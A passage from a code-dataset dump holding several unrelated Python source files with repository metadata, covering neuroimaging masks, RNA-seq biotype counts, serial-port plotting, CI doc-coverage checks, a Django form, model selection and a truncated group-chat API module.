seg = load_nifti(fslant, return_img=True)\n mask = 1 * (seg_data == 59) + 2 * (seg_data == 60)\n out_name = join(dout, \"tha_mask.nii.gz\")\n nib.Nifti1Image(mask.astype(np.uint32), seg.affine, seg.header).to_filename(out_name)\n out_name = join(dout, \"tha_bimask.nii.gz\")\n nib.Nifti1Image((mask > 0).astype(np.uint32), seg.affine, seg.header).to_filename(out_name)\n return join(dout, \"tha_bimask.nii.gz\"), join(dout, \"tha_mask.nii.gz\"), (mask > 0).astype(np.uint32), mask\n # if return_fpath:\n # if return_bimask:\n # return join(dout, \"tha_bimask.nii.gz\")\n # else:\n # return join(dout, \"tha_mask.nii.gz\")\n # else:\n # if return_bimask:\n # return (mask > 0).astype(np.uint32)\n # else:\n # return mask", "repo_name": "jasonbian97/fastcod-code", "sub_path": "src/slant_helper.py", "file_name": "slant_helper.py", "file_ext": "py", "file_size_in_byte": 6965, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "dipy.io.image.load_nifti", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "nibabel.Nifti1Image", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "nibabel.Nifti1Image", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 103, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "nibabel.Nifti1Image", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 118, "usage_type": "attribute"}, {"api_name": "dipy.io.image.load_nifti", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "nibabel.Nifti1Image", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 148, "usage_type": "attribute"}, {"api_name": "dipy.io.image.load_nifti", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 155, "usage_type": "call"}, {"api_name": "nibabel.Nifti1Image", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 156, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 157, "usage_type": "call"}, {"api_name": "nibabel.Nifti1Image", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 159, "usage_type": "attribute"}]} +{"seq_id": "7539741431", "text": "__author__ = 'Frederic Escudie'\n__copyright__ = 'Copyright (C) 2017 IUCT-O'\n__license__ = 'GNU General Public License'\n__version__ = '1.0.0'\n__email__ = 'escudie.frederiic@iuct-oncopole.fr'\n__status__ = 'prod'\n\nimport argparse\nfrom anacore.GTFI import GTFI\n\n\n########################################################################\n#\n# MAIN\n#\n########################################################################\nif __name__ == \"__main__\":\n # Manage parameters\n parser = argparse.ArgumentParser(description='Write the number of reads by biotype from HTSeq-count gene output.')\n parser.add_argument('-v', '--version', action='version', version=__version__)\n group_input = parser.add_argument_group('Inputs') # Inputs\n group_input.add_argument('-g', '--input-gtf', required=True, help='The ensembl GTF used in HTSeq-count (format: GTF).')\n group_input.add_argument('-c', '--input-count', required=True, help='The HTSeq-count output (format: TSV).')\n group_output = parser.add_argument_group('Outputs') # Outputs\n group_output.add_argument('-o', '--output-file', required=True, help='The path for the outputed file (format: TSV).')\n args = parser.parse_args()\n\n # Get biotype by gene ID\n biotype_by_id = dict()\n FH_gff = GTFI(args.input_gtf)\n FH_gff.open()\n try:\n for record in FH_gff:\n gene_id = record[\"attr\"][\"gene_id\"]\n gene_biotype = \"Unknown\"\n if \"gene_biotype\" in record[\"attr\"]:\n gene_biotype = record[\"attr\"][\"gene_biotype\"]\n if gene_id in biotype_by_id and biotype_by_id[gene_id] != gene_biotype:\n raise Exception(\"The gene with ID '\" + gene_id + \"' has already be described in '\" + args.input_gtf + \"'.\")\n biotype_by_id[gene_id] = gene_biotype\n finally:\n FH_gff.close()\n\n # Get count by biotype\n ################################################# Pb gene de diff longueur donne diff de count\n count_by_biotype = dict()\n samples = list()\n count_by_spl = dict()\n with open(args.input_count) as FH_count:\n samples = [field.strip() for field in FH_count.readline().split(\"\\t\")[1:]]\n count_by_spl = {spl:0 for spl in samples}\n for line in FH_count:\n ref = line.split(\"\\t\", 1)[0].strip()\n counts = [int(count.strip()) for count in line.split(\"\\t\")[1:]]\n biotype = biotype_by_id[ref]\n if biotype not in count_by_biotype:\n count_by_biotype[biotype] = [0 for spl in samples]\n for idx_spl, count in enumerate(counts):\n count_by_biotype[biotype][idx_spl] += count\n count_by_spl[samples[idx_spl]] += count\n\n # Write output\n with open(args.output_file, \"w\") as FH_out:\n FH_out.write(\"#Biotype\\t\" + \"\\t\".join(samples) + \"\\n\")\n for biotype in count_by_biotype:\n biotype_prct = list()\n for idx_spl, spl in enumerate(samples):\n biotype_count = count_by_biotype[biotype][idx_spl]\n prct = float(biotype_count * 100)/count_by_spl[spl]\n biotype_prct.append(prct)\n FH_out.write(biotype + \"\\t\" + \"\\t\".join(map(str, biotype_prct)) + \"\\n\")\n", "repo_name": "bialimed/AnaCore-utils", "sub_path": "bin/biotypeFromCount.py", "file_name": "biotypeFromCount.py", "file_ext": "py", "file_size_in_byte": 3208, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 19, "usage_type": "call"}, {"api_name": "anacore.GTFI.GTFI", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "39830342723", "text": "import serial\nfrom matplotlib import pyplot\nimport time\n## Stores time values of step response\ntime_list = []\n## Stores position values of encoder during step response\npos_list = []\n\n# Open serial port for communication between PC and Nucleo\nwith serial.Serial('COM11', 115200) as s_port:\n \n s_port.write(b'\\x03') #ctrl-C\n s_port.write(b'\\x04') #runs main -- ctrl-D\n time.sleep(0.5)\n ## Proportional gain value\n Kp = 0.4\n s_port.write(b'0.05\\r')\n ## Runs counter controls number of iterations of data reading\n runs = 0\n \n while runs <= 201:\n ## Stores single line of data read from serial port\n raw_data = s_port.readline()\n ## Converts data type and removes non-number characters\n data = str(raw_data)\n data = data[2:]\n data = data[:-5]\n ## Splits string of data into separate time and position values\n l = data.split(',')\n try:\n ## Convert time value to float\n time = float(l[0])\n ## Convert position value to float\n pos = float(l[1])\n \n except:\n pass\n \n else:\n # Add current time and position values to list for ploting\n time_list.append(time-11)\n pos_list.append(pos)\n \n runs += 1\n \n pyplot.plot(time_list, pos_list, color = 'b')\n pyplot.xlabel('Time [ms]')\n pyplot.ylabel('Position [ticks]')\n pyplot.title('Step Response: Kp = 0.05')\n pyplot.show()\n\n # try:\n # for char in data:\n # if char.isdigit() == True:\n # if char_flag == 1:\n # char2.append(char)\n # elif char.isdigit() == True:\n # char1.append(char)\n # elif char.isdigit() == False:\n # char_flag = 1\n \n # # float(data[0])\n # # float(data[1])\n # except:\n # pass\n # else:\n # # time_list.append()\n # # pos_list.append()\n # data.split(',')\n # print(data)\n # # print(s_port.read().split(b','))\n # try:\n # time = float(data[0])\n # pos = float(data[1])\n # except ValueError:\n # pass\n # else:\n # pass\n # # time_list.append()\n # pos_list.append()\n \n#pyplot.plot(time_list, pos_list, color = 'b')\n#pyplot.xlabel('Time')\n#pyplot.ylabel('Position')\n#pyplot.title('Step Response')\n#pyplot.show()", "repo_name": "nishkachawla/me405_lab2", "sub_path": "src/lab2.py", "file_name": "lab2.py", "file_ext": "py", "file_size_in_byte": 2598, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "serial.Serial", "line_number": 10, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}]} +{"seq_id": "29382318214", "text": "\"\"\" Script to check if documentation coverage has decreased\n\"\"\"\nimport argparse\nimport json\nimport os\nimport sys\n\nfrom list_docs_tovalidate import should_ignore\nfrom annotation_helpers import print_to_string, get_code_file_and_lines\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Check doc coverage change')\n parser.add_argument('base', metavar='head_cov', type=str,\n help='File containing the coverage of the head branch')\n parser.add_argument('compare', metavar='base_cov', type=str,\n help='File containing the coverage of the base branch')\n parser.add_argument('output', metavar='output', type=str,\n help='File where the markdown output will be printed')\n\n args = parser.parse_args()\n\n results = {}\n for branch_file in [args.base, args.compare]:\n branch = branch_file[:-4]\n with open(branch_file, encoding=\"utf-8\") as f:\n lines = f.readlines()\n\n results[branch + '_summary'] = ''.join(lines[-3:])\n results[branch + '_no_mod'] = set()\n results[branch + '_no_obj'] = {}\n lines = [l for l in lines if l.startswith('File: ') or l.startswith(' - ')]\n n = len(lines)\n i = 0\n while i < n:\n modname = lines[i].split()[1].strip('\"')[:-3].replace('/','.').split(f'.{branch}.', 1)[1]\n i+=1\n while i 0 or len(added_obj) > 0:\n annotations = []\n summary = []\n print_to_string('## Failure: Coverage has decreased!', text=summary)\n print_to_string('### Base Branch Summary', text=summary)\n print_to_string(results['base_summary'], text=summary)\n print_to_string('Compare Branch Summary', text=summary)\n print_to_string(results['compare_summary'], text=summary)\n if len(added_mod) > 0:\n print_to_string('### This pull request added these modules without docstrings:', text=summary)\n for idx, mod in enumerate(added_mod):\n print_to_string(f'{idx + 1}. {mod}', text=summary)\n annotations.append({\n \"annotation_level\":\"failure\",\n \"start_line\":1,\n \"end_line\":1,\n \"path\":mod.replace('.','/')+'.py',\n \"message\":\"Missing module docstring.\"\n })\n print_to_string(text=summary)\n if len(added_obj) > 0:\n print_to_string('### This pull request added these objects without docstrings:', text=summary)\n idx = 0\n for (mod, cls), objects in added_obj.items():\n if [] in objects:\n file, start, end = get_code_file_and_lines(cls, base_folder, mod)\n print_to_string(f'{idx + 1}. {mod}.{cls}', text=summary)\n idx += 1\n annotations.append({\n \"annotation_level\":\"failure\",\n \"start_line\":start,\n \"end_line\":end,\n \"path\":file,\n \"message\":\"Missing docstring.\"\n })\n for obj in objects:\n if obj == []:\n continue\n obj_name = '.'.join(obj)\n if obj in results['base_no_obj'].get(mod, {}).get(cls, []):\n level = 'warning'\n else:\n level = 'failure'\n print_to_string(f'{idx + 1}. {mod}.{cls}.{obj_name}', text=summary)\n idx += 1\n try:\n file, start, end = get_code_file_and_lines(f\"{cls}.{obj_name}\", base_folder, mod)\n except AttributeError:\n continue\n annotations.append({\n \"annotation_level\":level,\n \"start_line\":start,\n \"end_line\":end,\n \"path\":file,\n \"message\":\"Missing docstring.\"\n })\n print_to_string(text=summary)\n summary_text = \"\\n\".join(summary)\n messages = {'summary' : summary_text,\n 'annotations': annotations}\n with open('test_json_result.json', mode='w', encoding=\"utf-8\") as json_file:\n json.dump(messages, json_file)\n with open(args.output, \"w\", encoding=\"utf-8\") as out:\n print(summary_text, file=out)\n\n sys.exit(1)\n\n else:\n summary = []\n print_to_string('# Part 1:', text=summary)\n print_to_string('## Success!', text=summary)\n print_to_string('### Base Branch Summary', text=summary)\n print_to_string(results['base_summary'], text=summary)\n print_to_string('### Compare Branch Summary', text=summary)\n print_to_string(results['compare_summary'], text=summary)\n summary_text = \"\\n\".join(summary)\n with open(args.output, \"w\", encoding=\"utf-8\") as out:\n print(summary_text, file=out)\n with open('test_json_result.json', mode='w', encoding=\"utf-8\") as json_file:\n json.dump({'summary':\"# Documentation coverage is complete!\"}, json_file)\n", "repo_name": "pyccel/pyccel", "sub_path": "ci_tools/summarise_doccoverage.py", "file_name": "summarise_doccoverage.py", "file_ext": "py", "file_size_in_byte": 6278, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 297, "dataset": "github-code", "pt": "86", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "list_docs_tovalidate.should_ignore", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 58, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 59, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 60, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 61, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 62, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 64, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 66, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 74, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 76, "usage_type": "call"}, {"api_name": "annotation_helpers.get_code_file_and_lines", "line_number": 80, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 81, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 98, "usage_type": "call"}, {"api_name": "annotation_helpers.get_code_file_and_lines", "line_number": 101, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 111, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 116, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 120, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 124, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 125, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 126, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 127, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 128, "usage_type": "call"}, {"api_name": "annotation_helpers.print_to_string", "line_number": 129, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 134, "usage_type": "call"}]} +{"seq_id": "36796598379", "text": "\"\"\"store raw place detail for src/dst\n\nRevision ID: ca9e179f8c4a\nRevises: 463c94d2a300\nCreate Date: 2020-06-03 19:22:22.833560\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ca9e179f8c4a'\ndown_revision = '463c94d2a300'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.add_column('rides', sa.Column('src_raw_place', sa.JSON))\n op.add_column('rides', sa.Column('dst_raw_place', sa.JSON))\n\n\ndef downgrade():\n op.drop_column('rides', 'src_raw_place')\n op.drop_column('rides', 'dst_raw_place')\n", "repo_name": "mickyTwenty/Wyth_btsc_service", "sub_path": "alembic/versions/ca9e179f8c4a_store_raw_place_detail_for_src_dst.py", "file_name": "ca9e179f8c4a_store_raw_place_detail_for_src_dst.py", "file_ext": "py", "file_size_in_byte": 572, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "alembic.op.add_column", "line_number": 20, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 20, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.JSON", "line_number": 20, "usage_type": "attribute"}, {"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.JSON", "line_number": 21, "usage_type": "attribute"}, {"api_name": "alembic.op.drop_column", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 25, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 26, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "23985411511", "text": "import datetime\nimport glob\nimport gzip\nimport json\nimport os\n\nimport matplotlib\nimport pandas as pd\n\nmatplotlib.use('agg')\n\n\ndef sum_count(d):\n a = 0\n nt1 = 0\n nt2 = 0\n nt12 = 0\n for k, v in d.items():\n a += v.get('all', 0)\n nt1 += v.get('nt1', 0)\n nt2 += v.get('nt2', 0)\n nt12 += v.get('nt12', 0)\n return a, nt1, nt2, nt12\n\n\nsd = datetime.datetime.now()\nprint('stated', sd)\n# voz_or_en = 'VOZ'\nvoz_or_en = 'VOZENTRANTE'\nstats_dir = 'stats/DQAggMexUsrNoTwCall%s/' % voz_or_en\n\nfns = sorted(list(glob.glob(stats_dir + '*.json.gz')))\nnum_calls = {}\nfor i, fn in enumerate(fns):\n if i % 10 == 0:\n print('working on %dth file: %s' % (i, fn))\n date = os.path.basename(fn).replace('.json.gz', '')\n with gzip.open(fn) as fin:\n data = json.load(fin)\n num_calls[date] = sum_count(data)\n\ndf = pd.DataFrame(list(num_calls.values()), index=list(num_calls.keys()), columns=['all', 'nt1', 'nt2', 'nt12'])\ndf['nt1pct'] = df.nt1 / df['all']\ndf['nt2pct'] = df.nt2 / df['all']\ndf['nt12pct'] = df.nt12 / df['all']\nnt1p = 100 * df.nt1.sum() / df['all'].sum()\nnt2p = 100 * df.nt2.sum() / df['all'].sum()\nnt12p = 100 * df.nt12.sum() / df['all'].sum()\ndf.to_csv('stats/MexNoTwCallPcntDaily%s.csv' % voz_or_en)\n\nax = df[['nt1pct', 'nt2pct', 'nt12pct']].plot.hist(\n alpha=0.5, title='overall no t1=%0.2f%% and no t2=%0.2f%% and no t1&2=%0.2f%%' % (nt1p, nt2p, nt12p))\nfig = ax.get_figure()\nfig.savefig('stats/MexNoTwCallPcntDailyHist%s.png' % voz_or_en)\n\nprint('ed', datetime.datetime.now(), datetime.datetime.now() - sd)\n", "repo_name": "JHWu92/mob2crime", "sub_path": "DQ_CDR_stats_MexNoTwCallPcnt.py", "file_name": "DQ_CDR_stats_MexNoTwCallPcnt.py", "file_ext": "py", "file_size_in_byte": 1577, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.use", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 38, "usage_type": "call"}, {"api_name": "json.load", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "attribute"}]} +{"seq_id": "31227214309", "text": "from django import forms\nfrom django.forms.widgets import TextInput\nfrom vendors.models import Vendor\nfrom dal import autocomplete\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass VendorForm(forms.ModelForm):\n\n class Meta:\n model = Vendor\n exclude = ['creator','updator','auto_id','is_deleted','a_id','credit','debit','shop']\n widgets = {\n 'name': TextInput(attrs={'class': 'required form-control','placeholder' : 'Name'}),\n 'address': TextInput(attrs={'class': 'required form-control','placeholder' : 'Address'}),\n 'first_time_credit': TextInput(attrs={'class': 'required form-control','placeholder' : 'First Time Credit'}),\n 'first_time_debit': TextInput(attrs={'class': 'required form-control','placeholder' : 'First Time Debit'}),\n 'phone': TextInput(attrs={'class': 'required form-control','placeholder' : 'Phone'}),\n 'phone2': TextInput(attrs={'class': 'form-control','placeholder' : 'Phone'}),\n 'gstin': TextInput(attrs={'class': 'form-control','placeholder' : 'GSTIN'}),\n 'email': TextInput(attrs={'class': 'form-control','placeholder' : 'Email'}),\n\n }\n error_messages = {\n 'name' : {\n 'required' : _(\"Name field is required.\"),\n },\n 'address' : {\n 'required' : _(\"Address field is required.\"),\n },\n 'first_time_credit' : {\n 'required' : _(\"First time credit field is required.\"),\n },\n 'first_time_debit' : {\n 'required' : _(\"First time debit field is required.\"),\n },\n 'phone' : {\n 'required' : _(\"Phone field is required.\"),\n }\n }\n help_texts = {\n 'first_time_credit' : \"Vendor's fund in your hand\",\n 'first_time_debit' : \"Your fund at Vendor's hand\"\n }\n \n", "repo_name": "jabirjas/bharath-work", "sub_path": "vendors/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1942, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.forms.ModelForm", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 8, "usage_type": "name"}, {"api_name": "vendors.models.Vendor", "line_number": 11, "usage_type": "name"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 14, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 15, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 16, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 17, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 18, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 19, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 20, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 21, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 26, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 29, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 32, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 35, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 38, "usage_type": "call"}]} +{"seq_id": "33558699117", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom sklearn import svm, datasets\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.tree import DecisionTreeClassifier\nimport pandas as pd\n\n\n# In[2]:\n\n\ndata = datasets.load_digits()\n\n\n# In[3]:\n\n\ndir(data)\n\n\n# In[4]:\n\n\ndata.target_names\n\n\n# In[5]:\n\n\ndf = pd.DataFrame(data.data,columns=data.feature_names)\n\n\n# In[6]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(data.data, data.target, test_size=0.3)\n\n\n# In[7]:\n\n\nfrom sklearn.model_selection import cross_val_score\n\ncross_val_score(svm.SVC(kernel='linear',C=10,gamma='auto'),data.data, data.target, cv=5)\n\n\n# In[8]:\n\n\nfrom sklearn.model_selection import GridSearchCV\nclf = GridSearchCV(svm.SVC(gamma='auto'), {\n 'C': [1,10,20],\n 'kernel': ['rbf','linear']\n}, cv=5, return_train_score=False)\nclf.fit(data.data, data.target)\nclf.cv_results_\n\n\n# In[9]:\n\n\ndir(clf)\n\n\n# In[10]:\n\n\ndf = pd.DataFrame(clf.cv_results_)\nclf.best_params_\n\n\n# In[11]:\n\n\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\n\nmodel_params = {\n 'svm': {\n 'model': svm.SVC(gamma='auto'),\n 'params' : {\n 'C': [1,10,20],\n 'kernel': ['rbf','linear']\n } \n },\n 'random_forest': {\n 'model': RandomForestClassifier(),\n 'params' : {\n 'n_estimators': [1,5,10]\n }\n },\n 'logistic_regression' : {\n 'model': LogisticRegression(solver='liblinear',multi_class='auto'),\n 'params': {\n 'C': [1,5,10]\n }\n },\n 'naive_bayes_gaussian': {\n 'model': GaussianNB(),\n 'params': {}\n },\n 'naive_bayes_multinomial': {\n 'model': MultinomialNB(),\n 'params': {}\n },\n 'decision_tree': {\n 'model': DecisionTreeClassifier(),\n 'params': {\n 'criterion': ['gini','entropy'],\n \n }\n } \n}\n\n\n# In[12]:\n\n\nscores = []\n\nfor model_name, mp in model_params.items():\n clf = GridSearchCV(mp['model'], mp['params'], cv=5, return_train_score=False)\n clf.fit(data.data, data.target)\n scores.append({\n 'model': model_name,\n 'best_score': clf.best_score_,\n 'best_params': clf.best_params_\n })\n \ndf = pd.DataFrame(scores,columns=['model','best_score','best_params'])\ndf\n\n\n# In[ ]:\n\n\n\n\n", "repo_name": "RaulPPrats/Finding_Optimal_Predictor_Model", "sub_path": "Finding_optimal_model.py", "file_name": "Finding_optimal_model.py", "file_ext": "py", "file_size_in_byte": 2551, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sklearn.datasets.load_digits", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 19, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 37, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 52, "usage_type": "name"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 59, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 89, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 96, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.GaussianNB", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.MultinomialNB", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 116, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 131, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 139, "usage_type": "call"}]} +{"seq_id": "32466564424", "text": "# coding:utf-8\n# --author-- lanhua.zhou\nfrom collections import defaultdict\n\nimport os\nimport time\nimport datetime\nimport shutil\nimport logging\nimport re\n\nfrom . import _Entity\nimport zfused_api\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef cache(project_id = []):\n \"\"\" init project versions\n \"\"\"\n FeedBack.global_dict = {}\n if not project_id:\n _groups = zfused_api.zFused.get(\"group\", sortby = [\"Id\"], order = [\"desc\"])\n else:\n _project_ids = \"|\".join([str(_project_id) for _project_id in project_id])\n _groups = zfused_api.zFused.get(\"group\", filter = {\"ProjectId__in\": _project_ids}, sortby = [\"Id\"], order = [\"desc\"])\n if _groups:\n list(map(lambda _group: FeedBack.global_dict.setdefault(_group[\"Id\"],_group), _groups))\n return _groups\n\ndef cache_from_ids(ids):\n ids = \"|\".join(map(str, ids))\n _groups = zfused_api.zFused.get(\"group\", filter = {\"Id__in\": ids})\n if _groups:\n list(map(lambda _group: FeedBack.global_dict.setdefault(_group[\"Id\"],_group), _groups))\n return _groups\n\n\ndef get_single(user_ids):\n user_ids.sort()\n _code = \"|\".join([str(_user_id) for _user_id in user_ids])\n return \n\nclass Group(_Entity):\n\n @classmethod\n def new(cls, name, user_ids, mode = 0):\n \"\"\"\n 0 single chat\n 1 group chat\n \"\"\"\n _created_time = \"%s+00:00\"%datetime.datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S\")\n _created_by = 